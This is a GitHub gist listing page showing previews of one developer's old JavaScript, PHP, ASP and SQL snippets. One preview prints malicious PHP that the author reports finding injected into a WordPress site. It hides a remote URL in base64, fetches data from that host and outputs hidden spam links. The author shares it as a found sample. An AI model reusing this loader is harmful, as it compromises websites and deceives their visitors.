Skip to content

Instantly share code, notes, and snippets.

View artlung's full-sized avatar
💭
🤖

Joe Crawford artlung

💭
🤖
View GitHub Profile
@artlung
artlung / equation.js
Created September 10, 2009 01:33
A chainable calculator
// A chainable little calculator thingy.
var equation = {
i:0,
_int:function(x){
return parseInt(x,10);
},
set:function(x){
this.i = this._int(x);
return this;
@artlung
artlung / Onload-Event-ArtLung-Rosetta.html
Created September 21, 2009 23:56
JavaScript Onload Techniques
<script type="text/javascript">
/**
* Several different ways to calls an onload event
* first up, here's a function we will call using all the methods
*/
function artlungOnload() {
alert('The body of the document has loaded');
}
</script>
@artlung
artlung / sitemap.xml.php
Created October 14, 2009 21:42
Generate XML sitemap from list of urls
<?php
/**
*
* This is a quick way to turn a simple text file
* with a list of urls in a text file (sitemap-urls.txt)
* into a valid XML Sitemap:
* http://en.wikipedia.org/wiki/Sitemaps
* Put this file sitemap.xml.php and sitemap-urls.txt at
* the webroot http://example.com/sitemap.xml.php
@artlung
artlung / asp-counter-script.asp.vb
Created November 2, 2009 20:32
ASP Counter, vintage 2004
<%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%>
<%
REM From joe@artlung.com Fri Jan 16 01:47:57 2004
REM Date: Thu, 15 Jan 2004 19:52:03 -0500 (EST)
REM From: Joe Crawford <joe@artlung.com>
REM To: Joe Crawford <joe@artlung.com>
REM Subject: ASP counter
REM include this file with
@artlung
artlung / found-injected-into-wordpress-2009-may-13.php
Created November 2, 2009 20:52
Found injected into a WordPress install, May 13, 2009
<?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3MvdGVzdF8xNQ==';
$blarr=get_option('cache_vars');
if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.md5'))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.txt'));
update_option('cache_vars',$blarr);
} $blarr=unserialize(base64_decode(get_option('cache_vars')));
if($blarr['hide_text']!='' && sizeof($blarr['links'])>0){ if($blarr['random']){ $new='';
foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k];
$blarr['links']=$new;
} $txt_out='';
foreach($blarr['links'] as $k=>$v) $txt_out.='<a href="'.$v.'">'.$k.'</a>';
@artlung
artlung / renumber-primary-keys.sql
Created January 22, 2010 20:11
Renumber the keys of MySQL table
-- Let's say you had a table fruit
CREATE TABLE IF NOT EXISTS `fruit` (
`id` int(11) NOT NULL auto_increment,
`blah` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
);
-- Then you populate it, and delete some rows:
-- id, blah
@artlung
artlung / RANDOM_CSS_javascript.html
Created February 11, 2010 02:20
Load a random CSS file
<!-- this will print one of these:
<link rel="stylesheet" type="text/css" href="css/bk1.css" />
<link rel="stylesheet" type="text/css" href="css/bk2.css" />
<link rel="stylesheet" type="text/css" href="css/bk3.css" />
<link rel="stylesheet" type="text/css" href="css/bk4.css" />
<link rel="stylesheet" type="text/css" href="css/bk5.css" />
<link rel="stylesheet" type="text/css" href="css/bk6.css" /> -->
<script type="text/javascript" src="RANDOM_CSS_javascript.js"></script>
<script type="text/javascript">
RANDOM_CSS.printlinktag();
@artlung
artlung / Most Recent Post.php
Created February 11, 2010 21:23
Most Recent Post with Snippet
<?php
// include trailing slash
$path_to_wordpress_folder = '../wordpress/';
/*
Does someone have a WP plug-in or snippet so that the most recent post on WP
can be seen on a different php page? In this case the homepage.
I'd actually just like a snippet to be seen, not the whole post.
*/
// Learn to use http://codex.wordpress.org/Template_Tags/get_posts
@artlung
artlung / PrintCurlVersion.php
Created February 13, 2010 01:10
Print Curl Version
<?php
header('Content-Type: text/plain');
print_r( curl_version() );
exit(); print_r($_SERVER);
?>
@artlung
artlung / for-wp-archives.php
Created February 13, 2010 22:40
WordPress Archives Pages Code with no post limit.
<?php
if (is_month()) {
$request = explode('/', $_SERVER['REQUEST_URI']);
$year = $request[2];
$month = $request[3];
query_posts( 'posts_per_page=-1' . '&year=' . $year . '&monthnum=' . $month );
}